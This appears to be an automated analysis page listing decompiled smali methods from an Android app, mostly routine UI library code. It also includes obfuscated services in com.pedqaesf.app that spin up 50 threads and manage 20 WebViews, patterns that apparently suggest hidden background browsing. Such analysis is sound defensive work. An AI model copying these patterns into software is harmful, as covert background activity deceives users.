7invoke-static {v0, p1, v1, p2}, Lcom/mikepenz/a/d/a;->a(Ljava/util/Set;III)Ljava/util/Set;
8move-result-object v0
9iput-object v0, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
11iget-object v0, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
13invoke-static {v0, p1, v1, p2}, Lcom/mikepenz/a/d/a;->a(Landroid/util/SparseIntArray;III)Landroid/util/SparseIntArray;
14move-result-object v0
15iput-object v0, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
16cond_17:
17invoke-direct {p0}, Lcom/mikepenz/a/b;->k()V
19invoke-virtual {p0, p1, p2}, Lcom/mikepenz/a/b;->b(II)V
20iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
21if-eqz v0, :cond_28
22add-int v0, p1, p2
23add-int/lit8 v0, v0, -0x1
25invoke-static {p0, p1, v0}, Lcom/mikepenz/a/d/a;->a(Lcom/mikepenz/a/b;II)V
26cond_28: return-void
APIs
  • android.content.Context.getResources
  • android.content.res.Resources.getDimensionPixelSize
Position Instruction Meta Information
0.prologue
1const/high16 v1, -0x80000000
2iget v0, p0, Lcom/mikepenz/materialize/b/b;->a:I
3if-eq v0, v1, :cond_9
4iget v0, p0, Lcom/mikepenz/materialize/b/b;->a:I
5goto_8: return v0
6cond_9: iget v0, p0, Lcom/mikepenz/materialize/b/b;->b:I
7if-eq v0, v1, :cond_16
8iget v0, p0, Lcom/mikepenz/materialize/b/b;->b:I
9int-to-float v0, v0
11invoke-static {v0, p1}, Lcom/mikepenz/materialize/c/b;->a(FLandroid/content/Context;)F
12move-result v0
13float-to-int v0, v0
14goto/16 :goto_8
15cond_16: iget v0, p0, Lcom/mikepenz/materialize/b/b;->c:I
16if-eq v0, v1, :cond_25
18invoke-virtual {p1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
19move-result-object v0
20iget v1, p0, Lcom/mikepenz/materialize/b/b;->c:I
22invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getDimensionPixelSize(I)I
23move-result v0
24goto/16 :goto_8
25cond_25: const/4 v0, 0x0
26goto/16 :goto_8
Cross References
APIs
  • com.mikepenz.a.b.a
  • android.util.SparseArray.valueAt
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(I)",
3"Lcom/mikepenz/a/c",
4"<TItem;>;"
5}
6.end annotation
7.prologue
8if-ltz p1, :cond_6
9iget v0, p0, Lcom/mikepenz/a/b;->d:I
10if-lt p1, v0, :cond_8
11cond_6: const/4 v0, 0x0
12goto_7: return-object v0
13cond_8:
14iget-object v0, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
16iget-object v1, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
18invoke-static {v1, p1}, Lcom/mikepenz/a/b;->a(Landroid/util/SparseArray;I)I
19move-result v1
21invoke-virtual {v0, v1}, Landroid/util/SparseArray;->valueAt(I)Ljava/lang/Object;
22move-result-object v0
23check-cast v0, Lcom/mikepenz/a/c;
24goto/16 :goto_7
Cross References
APIs
  • android.view.View.getLayoutParams
Position Instruction Meta Information
0.prologue
1if-eqz p1, :cond_25
2instance-of v0, p1, Landroid/support/design/widget/FloatingActionButton;
3if-eqz v0, :cond_25
4move-object v0, p1
5check-cast v0, Landroid/support/design/widget/FloatingActionButton;
6iput-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->e:Landroid/support/design/widget/FloatingActionButton;
7iget-boolean v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->k:Z
8if-nez v0, :cond_25
10invoke-virtual {p1}, Landroid/view/View;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
11move-result-object v0
12instance-of v0, v0, Landroid/view/ViewGroup$MarginLayoutParams;
13if-eqz v0, :cond_25
14const/4 v0, 0x1
15iput-boolean v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->k:Z
17invoke-virtual {p1}, Landroid/view/View;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
18move-result-object v0
19check-cast v0, Landroid/view/ViewGroup$MarginLayoutParams;
20iget v0, v0, Landroid/view/ViewGroup$MarginLayoutParams;->bottomMargin:I
21int-to-float v0, v0
22iput v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->i:F
23cond_25: return-void
Cross References
APIs
  • android.util.SparseArray.indexOfKey
  • android.util.SparseArray.put
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(TItem;)V"
3}
4.end annotation
5.prologue
7iget-object v0, p0, Lcom/mikepenz/a/b;->b:Landroid/util/SparseArray;
9invoke-interface {p1}, Lcom/mikepenz/a/g;->h()I
10move-result v1
12invoke-virtual {v0, v1}, Landroid/util/SparseArray;->indexOfKey(I)I
13move-result v0
14if-gez v0, :cond_15
16iget-object v0, p0, Lcom/mikepenz/a/b;->b:Landroid/util/SparseArray;
18invoke-interface {p1}, Lcom/mikepenz/a/g;->h()I
19move-result v1
21invoke-virtual {v0, v1, p1}, Landroid/util/SparseArray;->put(ILjava/lang/Object;)V
22cond_15: return-void
Cross References
APIs
  • com.mikepenz.a.b.k
  • com.mikepenz.a.b.c
Position Instruction Meta Information
0.prologue
1const v2, 0x7fffffff
2iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
3if-eqz v0, :cond_1b
5iget-object v0, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
6mul-int/lit8 v1, p2, -0x1
8invoke-static {v0, p1, v2, v1}, Lcom/mikepenz/a/d/a;->a(Ljava/util/Set;III)Ljava/util/Set;
9move-result-object v0
10iput-object v0, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
12iget-object v0, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
13mul-int/lit8 v1, p2, -0x1
15invoke-static {v0, p1, v2, v1}, Lcom/mikepenz/a/d/a;->a(Landroid/util/SparseIntArray;III)Landroid/util/SparseIntArray;
16move-result-object v0
17iput-object v0, p0, Lcom/mikepenz/a/b;->n:Landroid/util/SparseIntArray;
18cond_1b:
19invoke-direct {p0}, Lcom/mikepenz/a/b;->k()V
21invoke-virtual {p0, p1, p2}, Lcom/mikepenz/a/b;->c(II)V
22return-void
APIs
  • android.support.design.widget.CoordinatorLayout$Behavior.a
  • devlight.io.library.behavior.a.d
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/support/design/widget/CoordinatorLayout;",
4"TV;",
5"Landroid/view/View;",
6"FFZ)Z"
7}
8.end annotation
9.prologue
11invoke-super/range {p0 .. p6}, Landroid/support/design/widget/CoordinatorLayout$Behavior;->a(Landroid/support/design/widget/CoordinatorLayout;Landroid/view/View;Landroid/view/View;FFZ)Z
12const/4 v0, 0x0
13cmpl-float v0, p5, v0
14if-lez v0, :cond_10
15const/4 v0, 0x1
16goto_9: iput v0, p0, Ldevlight/io/library/behavior/a;->d:I
18invoke-virtual {p0}, Ldevlight/io/library/behavior/a;->d()Z
19move-result v0
20return v0
21cond_10: const/4 v0, -0x1
22goto/16 :goto_9
APIs
  • android.webkit.WebView.getUrl
  • android.webkit.WebView.loadUrl
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$5$1;->a:Lcom/pedqaesf/app/INSMainActivity$5;
4iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity$5;->a:Lcom/pedqaesf/app/INSMainActivity;
6iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
8iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity$5$1;->a:Lcom/pedqaesf/app/INSMainActivity$5;
10iget-object v1, v1, Lcom/pedqaesf/app/INSMainActivity$5;->a:Lcom/pedqaesf/app/INSMainActivity;
12iget-object v1, v1, Lcom/pedqaesf/app/INSMainActivity;->n:Landroid/webkit/WebView;
14invoke-virtual {v1}, Landroid/webkit/WebView;->getUrl()Ljava/lang/String;
15move-result-object v1
17invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
18return-void
Cross References
APIs
  • android.webkit.WebView.destroy
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
2goto_1: const/16 v1, 0x14
3if-ge v0, v1, :cond_14
4try_start_5:
5iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->a:[Landroid/webkit/WebView;
6aget-object v1, v1, v0
8invoke-virtual {v1}, Landroid/webkit/WebView;->destroy()V
10iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->c:Landroid/webkit/WebView;
12invoke-virtual {v1}, Landroid/webkit/WebView;->destroy()V
13goto_11: add-int/lit8 v0, v0, 0x1
14goto/16 :goto_1
15cond_14: return-void
16catch_15: move-exception v1
17goto/16 :goto_11
APIs
  • android.widget.TextView.getText
  • android.support.v7.widget.SearchView.setQuery
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity$3$1$2;->b:Lcom/pedqaesf/app/INSMainActivity$3$1;
4iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity$3$1;->j:Lcom/pedqaesf/app/INSMainActivity$3;
6iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity$3;->a:Lcom/pedqaesf/app/INSMainActivity;
8iget-object v0, v0, Lcom/pedqaesf/app/INSMainActivity;->t:Landroid/support/v7/widget/SearchView;
10iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity$3$1$2;->a:Landroid/widget/TextView;
12invoke-virtual {v1}, Landroid/widget/TextView;->getText()Ljava/lang/CharSequence;
13move-result-object v1
14const/4 v2, 0x0
16invoke-virtual {v0, v1, v2}, Landroid/support/v7/widget/SearchView;->setQuery(Ljava/lang/CharSequence;Z)V
  • Data flow analysis:
    • p1: 0
17return-void
Cross References
APIs
  • java.lang.Math.abs
Position Instruction Meta Information
0.prologue
1const/high16 v2, 0x40a00000 # 5.0f
2sub-float v0, p1, p2
4invoke-static {v0}, Ljava/lang/Math;->abs(F)F
5move-result v0
6sub-float v1, p3, p4
8invoke-static {v1}, Ljava/lang/Math;->abs(F)F
9move-result v1
10cmpl-float v0, v0, v2
11if-gez v0, :cond_16
12cmpl-float v0, v1, v2
13if-ltz v0, :cond_18
14cond_16: const/4 v0, 0x0
15goto_17: return v0
16cond_18: const/4 v0, 0x1
17goto/16 :goto_17
Cross References
APIs
  • java.util.Arrays.asList
  • com.mikepenz.a.a.c.c
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"([TItem;)",
3"Lcom/mikepenz/a/a/c",
4"<TItem;>;"
5}
6.end annotation
7.annotation runtime Ljava/lang/SafeVarargs;
8.end annotation
9.prologue
11invoke-static {p1}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
12move-result-object v0
14invoke-virtual {p0, v0}, Lcom/mikepenz/a/a/c;->c(Ljava/util/List;)Lcom/mikepenz/a/a/c;
15move-result-object v0
16return-object v0
Cross References
APIs
  • com.mikepenz.a.b.a
  • android.util.SparseArray.keyAt
Position Instruction Meta Information
0.prologue
1iget v0, p0, Lcom/mikepenz/a/b;->d:I
2if-nez v0, :cond_6
3const/4 v0, 0x0
4goto_5: return v0
5cond_6:
6iget-object v0, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
8iget-object v1, p0, Lcom/mikepenz/a/b;->c:Landroid/util/SparseArray;
10invoke-static {v1, p1}, Lcom/mikepenz/a/b;->a(Landroid/util/SparseArray;I)I
11move-result v1
13invoke-virtual {v0, v1}, Landroid/util/SparseArray;->keyAt(I)I
14move-result v0
15goto/16 :goto_5
Cross References
APIs
  • java.lang.Object.<init>
  • java.util.LinkedList.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Lcom/mikepenz/a/b",
4"<TItem;>;)V"
5}
6.end annotation
7.prologue
9invoke-direct {p0}, Ljava/lang/Object;-><init>()V
10new-instance v0, Ljava/util/LinkedList;
12invoke-direct {v0}, Ljava/util/LinkedList;-><init>()V
13iput-object v0, p0, Lcom/mikepenz/a/b/a;->b:Ljava/util/List;
14iput-object p1, p0, Lcom/mikepenz/a/b/a;->a:Lcom/mikepenz/a/b;
15return-void
APIs
  • android.graphics.Paint.setColorFilter
  • com.pedqaesf.app.views.INSCircularImageView.invalidate
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->r:Landroid/graphics/ColorFilter;
3if-ne p1, v0, :cond_5
4goto_4: return-void
5cond_5: iput-object p1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->r:Landroid/graphics/ColorFilter;
7iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->f:Landroid/graphics/Paint;
9iget-object v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->r:Landroid/graphics/ColorFilter;
11invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setColorFilter(Landroid/graphics/ColorFilter;)Landroid/graphics/ColorFilter;
13invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->invalidate()V
14goto/16 :goto_4
APIs
  • com.mikepenz.a.b.i
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/mikepenz/a/b$e;->a:Lcom/mikepenz/a/b;
4invoke-static {v0}, Lcom/mikepenz/a/b;->i(Lcom/mikepenz/a/b;)Lcom/mikepenz/a/b/a;
5move-result-object v0
6if-eqz v0, :cond_11
8iget-object v0, p0, Lcom/mikepenz/a/b$e;->a:Lcom/mikepenz/a/b;
10invoke-static {v0}, Lcom/mikepenz/a/b;->i(Lcom/mikepenz/a/b;)Lcom/mikepenz/a/b/a;
11move-result-object v0
13invoke-virtual {v0, p1}, Lcom/mikepenz/a/b/a;->a(Landroid/support/v7/widget/RecyclerView$u;)V
14cond_11: return-object p1
Cross References
APIs
  • android.widget.ImageView.setScaleType
  • com.pedqaesf.app.views.INSCircularImageView.b
Position Instruction Meta Information
0.prologue
2sget-object v0, Lcom/pedqaesf/app/views/INSCircularImageView;->a:Landroid/widget/ImageView$ScaleType;
4invoke-super {p0, v0}, Landroid/widget/ImageView;->setScaleType(Landroid/widget/ImageView$ScaleType;)V
5const/4 v0, 0x1
6iput-boolean v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->s:Z
7iget-boolean v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->t:Z
8if-eqz v0, :cond_12
10invoke-direct {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->b()V
11const/4 v0, 0x0
12iput-boolean v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->t:Z
13cond_12: return-void
Cross References
APIs
  • android.graphics.Paint.setColor
  • com.pedqaesf.app.views.INSCircularImageView.invalidate
Position Instruction Meta Information
0.prologue
1iget v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->i:I
2if-ne p1, v0, :cond_5
3goto_4: return-void
4cond_5: iput p1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->i:I
6iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->g:Landroid/graphics/Paint;
7iget v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->i:I
9invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setColor(I)V
11invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->invalidate()V
12goto/16 :goto_4
Cross References
APIs
  • com.mikepenz.a.b.i
  • com.mikepenz.a.b.b
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/mikepenz/a/b;->i()[I
3move-result-object v1
4array-length v0, v1
5add-int/lit8 v0, v0, -0x1
6goto_7: if-ltz v0, :cond_11
7aget v2, v1, v0
9invoke-virtual {p0, v2, p1}, Lcom/mikepenz/a/b;->b(IZ)V
10add-int/lit8 v0, v0, -0x1
11goto/16 :goto_7
12cond_11: return-void
Cross References
APIs
  • com.pedqaesf.app.AsyncTask.Vxrwzmvghcbb$a.<init>
  • com.pedqaesf.app.AsyncTask.Vxrwzmvghcbb$a.start
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
2goto_1: const/16 v1, 0x32
3if-ge v0, v1, :cond_10
4new-instance v1, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;
6invoke-direct {v1, p0}, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;-><init>(Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;)V
8invoke-virtual {v1}, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;->start()V
9add-int/lit8 v0, v0, 0x1
10goto/16 :goto_1
11cond_10: return-void
APIs
  • android.app.Activity.onBackPressed
  • android.app.Activity.onPause
Position Instruction Meta Information
0.prologue
1sget-boolean v0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->a:Z
2if-eqz v0, :cond_9
4sget-object v0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->b:Landroid/app/Activity;
6invoke-virtual {v0}, Landroid/app/Activity;->onBackPressed()V
7cond_9: const/4 v0, 0x0
8sput-boolean v0, Lcom/pedqaesf/app/player/INSFullScreenWebPlayer;->a:Z
10invoke-super {p0}, Landroid/app/Activity;->onPause()V
11return-void
Cross References
APIs
  • android.graphics.Paint.setColor
  • com.pedqaesf.app.views.INSCircularImageView.invalidate
Position Instruction Meta Information
0.prologue
1iget v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->k:I
2if-ne p1, v0, :cond_5
3goto_4: return-void
4cond_5: iput p1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->k:I
6iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->h:Landroid/graphics/Paint;
8invoke-virtual {v0, p1}, Landroid/graphics/Paint;->setColor(I)V
10invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->invalidate()V
11goto/16 :goto_4
APIs
  • android.support.v7.widget.RecyclerView$a.a
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1}, Landroid/support/v7/widget/RecyclerView$a;->a(Landroid/support/v7/widget/RecyclerView$c;)V
4iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
5if-eqz v0, :cond_c
7iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
9invoke-virtual {v0, p1}, Lcom/mikepenz/a/b;->a(Landroid/support/v7/widget/RecyclerView$c;)V
10cond_c: return-void
APIs
  • android.support.v7.widget.RecyclerView$a.b
  • com.mikepenz.a.b.b
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1}, Landroid/support/v7/widget/RecyclerView$a;->b(Landroid/support/v7/widget/RecyclerView$c;)V
4iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
5if-eqz v0, :cond_c
7iget-object v0, p0, Lcom/mikepenz/a/a;->a:Lcom/mikepenz/a/b;
9invoke-virtual {v0, p1}, Lcom/mikepenz/a/b;->b(Landroid/support/v7/widget/RecyclerView$c;)V
10cond_c: return-void
Cross References
APIs
  • android.support.v7.widget.RecyclerView$a.a
  • android.support.v7.widget.RecyclerView$u.e
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1}, Landroid/support/v7/widget/RecyclerView$a;->a(Landroid/support/v7/widget/RecyclerView$u;)V
4iget-object v0, p0, Lcom/mikepenz/a/b;->w:Lcom/mikepenz/a/b$a;
6invoke-virtual {p1}, Landroid/support/v7/widget/RecyclerView$u;->e()I
7move-result v1
9invoke-interface {v0, p1, v1}, Lcom/mikepenz/a/b$a;->a(Landroid/support/v7/widget/RecyclerView$u;I)V
10return-void
Cross References
APIs
  • android.support.v7.widget.RecyclerView$a.c
  • android.support.v7.widget.RecyclerView$u.e
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1}, Landroid/support/v7/widget/RecyclerView$a;->c(Landroid/support/v7/widget/RecyclerView$u;)V
4iget-object v0, p0, Lcom/mikepenz/a/b;->w:Lcom/mikepenz/a/b$a;
6invoke-virtual {p1}, Landroid/support/v7/widget/RecyclerView$u;->e()I
7move-result v1
9invoke-interface {v0, p1, v1}, Lcom/mikepenz/a/b$a;->b(Landroid/support/v7/widget/RecyclerView$u;I)V
10return-void
Cross References
APIs
  • android.support.v7.widget.RecyclerView$a.d
  • android.support.v7.widget.RecyclerView$u.e
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1}, Landroid/support/v7/widget/RecyclerView$a;->d(Landroid/support/v7/widget/RecyclerView$u;)V
4iget-object v0, p0, Lcom/mikepenz/a/b;->w:Lcom/mikepenz/a/b$a;
6invoke-virtual {p1}, Landroid/support/v7/widget/RecyclerView$u;->e()I
7move-result v1
9invoke-interface {v0, p1, v1}, Lcom/mikepenz/a/b$a;->c(Landroid/support/v7/widget/RecyclerView$u;I)V
10return-void
APIs
  • android.view.LayoutInflater.from
  • android.view.LayoutInflater.inflate
Position Instruction Meta Information
0.prologue
2invoke-static {p1}, Landroid/view/LayoutInflater;->from(Landroid/content/Context;)Landroid/view/LayoutInflater;
3move-result-object v0
4const v1, 0x7f04005e
5const/4 v2, 0x0
7invoke-virtual {v0, v1, p3, v2}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;Z)Landroid/view/View;
  • Data flow analysis:
    • resource: 2130968670
    • attachToRoot: 0
8move-result-object v0
9return-object v0
Cross References
APIs
  • java.lang.Object.<init>
  • android.webkit.WebView.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3new-instance v0, Landroid/webkit/WebView;
5invoke-direct {v0, p1}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
6sput-object v0, Lcom/pedqaesf/app/player/c;->a:Landroid/webkit/WebView;
7iput-object p1, p0, Lcom/pedqaesf/app/player/c;->b:Landroid/content/Context;
8return-void
APIs
  • android.content.Intent.<init>
  • android.content.Context.startService
Position Instruction Meta Information
0.prologue
1new-instance v0, Landroid/content/Intent;
2const-class v1, Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg;
4invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
6invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
7return-void
Cross References
APIs
  • android.os.AsyncTask.<init>
  • java.net.URL.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
3new-instance v0, Ljava/net/URL;
5invoke-direct {v0, p1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
6iput-object v0, p0, Lcom/pedqaesf/app/AsyncTask/b;->b:Ljava/net/URL;
7return-void
APIs
  • android.widget.ImageView.setImageBitmap
  • com.pedqaesf.app.views.INSCircularImageView.b
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1}, Landroid/widget/ImageView;->setImageBitmap(Landroid/graphics/Bitmap;)V
3iput-object p1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->l:Landroid/graphics/Bitmap;
5invoke-direct {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->b()V
6return-void
APIs
  • android.app.Service.onCreate
  • com.pedqaesf.app.AsyncTask.Vpknteytxitm.a
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
4invoke-virtual {p0}, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->a()V
5return-void
APIs
  • com.pedqaesf.app.AsyncTask.Vpknteytxitm.b
  • android.app.Service.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->b()V
4invoke-super {p0}, Landroid/app/Service;->onDestroy()V
5return-void
APIs
  • android.app.Service.onCreate
  • com.pedqaesf.app.AsyncTask.Vpxbjlowiwzg.a
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
4invoke-virtual {p0}, Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg;->a()V
5return-void
APIs
  • android.app.Service.onCreate
  • com.pedqaesf.app.AsyncTask.Vxrwzmvghcbb.b
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
4invoke-virtual {p0}, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->b()V
5return-void
APIs
  • android.widget.ImageView.onSizeChanged
  • com.pedqaesf.app.views.INSCircularImageView.b
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2, p3, p4}, Landroid/widget/ImageView;->onSizeChanged(IIII)V
4invoke-direct {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->b()V
5return-void
APIs
  • com.mikepenz.a.a.c.a
Position Instruction Meta Information
0.prologue
2iget-object v0, p2, Landroid/widget/Filter$FilterResults;->values:Ljava/lang/Object;
3if-eqz v0, :cond_e
5iget-object v1, p0, Lcom/mikepenz/a/a/c$a;->a:Lcom/mikepenz/a/a/c;
7iget-object v0, p2, Landroid/widget/Filter$FilterResults;->values:Ljava/lang/Object;
8check-cast v0, Ljava/util/List;
9const/4 v2, 0x0
11invoke-static {v1, v0, v2}, Lcom/mikepenz/a/a/c;->a(Lcom/mikepenz/a/a/c;Ljava/util/List;Z)Lcom/mikepenz/a/a/c;
  • Data flow analysis:
    • p2: 0
12cond_e:
13iget-object v0, p0, Lcom/mikepenz/a/a/c$a;->a:Lcom/mikepenz/a/a/c;
15iget-object v0, v0, Lcom/mikepenz/a/a/c;->a:Lcom/mikepenz/a/a/c$b;
16if-eqz v0, :cond_1b
18iget-object v0, p0, Lcom/mikepenz/a/a/c$a;->a:Lcom/mikepenz/a/a/c;
20iget-object v0, v0, Lcom/mikepenz/a/a/c;->a:Lcom/mikepenz/a/a/c$b;
22invoke-interface {v0}, Lcom/mikepenz/a/a/c$b;->a()V
23cond_1b: return-void
APIs
  • com.mikepenz.a.b.e
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/support/v7/widget/RecyclerView$u;",
4"I",
5"Ljava/util/List",
6"<",
7"Ljava/lang/Object;",
8">;)V"
9}
10.end annotation
11.prologue
13iget-object v0, p0, Lcom/mikepenz/a/b$b;->a:Lcom/mikepenz/a/b;
15invoke-virtual {v0, p2}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
16move-result-object v0
17if-eqz v0, :cond_b
19invoke-interface {v0, p1, p3}, Lcom/mikepenz/a/g;->a(Landroid/support/v7/widget/RecyclerView$u;Ljava/util/List;)V
20cond_b: return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3sget v0, Lcom/mikepenz/materialdrawer/g$d;->material_drawer_badge:I
4iput v0, p0, Lcom/mikepenz/materialdrawer/a/a;->a:I
5const/4 v0, 0x2
7invoke-static {v0}, Lcom/mikepenz/materialdrawer/a/c;->a(I)Lcom/mikepenz/materialdrawer/a/c;
8move-result-object v0
9iput-object v0, p0, Lcom/mikepenz/materialdrawer/a/a;->g:Lcom/mikepenz/materialdrawer/a/c;
10const/4 v0, 0x3
12invoke-static {v0}, Lcom/mikepenz/materialdrawer/a/c;->a(I)Lcom/mikepenz/materialdrawer/a/c;
13move-result-object v0
14iput-object v0, p0, Lcom/mikepenz/materialdrawer/a/a;->h:Lcom/mikepenz/materialdrawer/a/c;
15const/16 v0, 0x14
17invoke-static {v0}, Lcom/mikepenz/materialdrawer/a/c;->a(I)Lcom/mikepenz/materialdrawer/a/c;
18move-result-object v0
19iput-object v0, p0, Lcom/mikepenz/materialdrawer/a/a;->i:Lcom/mikepenz/materialdrawer/a/c;
20return-void
Cross References
APIs
  • com.pedqaesf.app.volley.NCAppController.b
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"<T:",
3"Ljava/lang/Object;",
4">(",
5"Lcom/android/volley/h",
6"<TT;>;)V"
7}
8.end annotation
9.prologue
11sget-object v0, Lcom/pedqaesf/app/volley/NCAppController;->a:Ljava/lang/String;
13invoke-virtual {p1, v0}, Lcom/android/volley/h;->a(Ljava/lang/Object;)Lcom/android/volley/h;
15invoke-virtual {p0}, Lcom/pedqaesf/app/volley/NCAppController;->b()Lcom/android/volley/i;
16move-result-object v0
18invoke-virtual {v0, p1}, Lcom/android/volley/i;->a(Lcom/android/volley/h;)Lcom/android/volley/h;
19return-void
Cross References
APIs
  • android.support.v7.widget.RecyclerView$a.a
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/support/v7/widget/RecyclerView$u;",
4"I",
5"Ljava/util/List",
6"<",
7"Ljava/lang/Object;",
8">;)V"
9}
10.end annotation
11.prologue
13invoke-super {p0, p1, p2, p3}, Landroid/support/v7/widget/RecyclerView$a;->a(Landroid/support/v7/widget/RecyclerView$u;ILjava/util/List;)V
15iget-object v0, p0, Lcom/mikepenz/a/b;->w:Lcom/mikepenz/a/b$a;
17invoke-interface {v0, p1, p2, p3}, Lcom/mikepenz/a/b$a;->a(Landroid/support/v7/widget/RecyclerView$u;ILjava/util/List;)V
18return-void
Cross References
APIs
  • com.mikepenz.a.b.a
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/os/Bundle;",
4")",
5"Lcom/mikepenz/a/b",
6"<TItem;>;"
7}
8.end annotation
9.prologue
11const-string v0, ""
